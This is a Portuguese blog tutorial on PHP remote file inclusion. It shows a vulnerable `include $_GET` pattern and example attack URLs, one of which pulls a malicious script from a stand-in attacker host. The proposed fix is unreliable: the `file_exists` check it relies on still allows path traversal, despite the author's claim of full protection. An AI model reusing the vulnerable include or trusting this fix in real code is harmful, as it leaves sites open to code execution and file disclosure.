Olá pessoal ! Seguindo a sequência deste assunto relacionado a segurança com PHP, hoje falaremos no PHP Injection!
Clique aqui e veja o primeiro artigo: Segurança com PHP I – SQL Injection
DEFINIÇÃO/FORMA DO ATAQUE
O PHP Injection é semelhante ao ataque de SQL Injection, só que este tipo de ataque resume-se em passar informações por querystring (parâmetros da URL), comandos em PHP e/ou endereços de arquivos que serão interpretados e executados por seu script.
Muuuuiittooos sites por aí utilizam URL’s deste tipo para deixar seu conteúdo e estrutura dinâmicas:
http://www.sitevulneravel.com.br/index.php?page=novidades.php
http://www.sitevulneravel.com.br/index.php?page=paginas/views/novidades
O script responsável pelo carregamento da página faria a leitura do parâmetro page semelhante a isso:
// Cabecalho da página include 'inc/header.php'; // Conteudo dinâmico de acordo com a // URL passada pelo usuário include $_GET['pagina']; // Rodape da página include 'inc/footer.php';
Desta forma, o que estiver vindo do parametro page será incluído dentro do corpo sua página, inclusive se colocarmos algo desse tipo:
http://www.sitevulneravel.com.br/index.php?page=http://www.siteconcorrente.com.br/logo-do-cliente.jpg
http://www.sitevulneravel.com.br/index.php?page=http://www.siteporno.com.br/uma-imagem-muito-tensa-de-sexo.jpg
http://www.sitevulneravel.com.br/index.php?page=http://www.hacker.com.br/scriptmalicioso.php
Se o parâmetro safe_mode do PHP.ini estiver desabilitado (Off) e o parâmetro allow_url_include estiver habilidado (On), que não é algo incomum, a função include do seu script irá executar normalmente o que está nos parâmetros page, e daí o céu é o limite para o atacante.
PELAS BARBAS DO PROFETA, E AGORA ?
Como disse no primeiro artigo:
“Sempre trate informações vindas do usuário (Escapar entradas) e formate as saídas.”
Claro que só desativando o parâmetro allow_url_include no seu servidor WEB irá resolver o problema, porém, nem todos os servidores de hospedagem permitem que o você (cliente) altere as configurações do servidor, portanto, temos várias formas de contornar esse tipo de ataque, irei mostrar uma forma simples:
// Cabecalho da página include 'inc/header.php'; $pagina = (isset($_GET['page']) && !empty($_GET['page']) ? $_GET['page'] : 'home.php'); if(file_exists('caminho_para_suas_paginas/' . $pagina)) { include 'caminho_para_suas_paginas/' . $pagina; } // Rodape da página include 'inc/footer.php';
Foi criado uma variável $pagina, apenas para verificar se o parâmetro page existe e se o mesmo não está vazio. Logo após, verificamos se o arquivo solicitado existe (usando a função file_exists) dentro do diretório das minhas páginas.
Desta forma eu garanto que somente as minhas páginas, no meu servidor web, serão executadas dentro no corpo do meu site/sistema.
E é com essa dica de segurança no desenvolvimento WEB com PHP que termino esse artigo relacionado a PHP Injection, agora vocês já sabem como se prevenir de ataques PHP Injection.
Um forte abraço a todos e até o nosso próximo tópico de Segurança com o PHP.
Comentários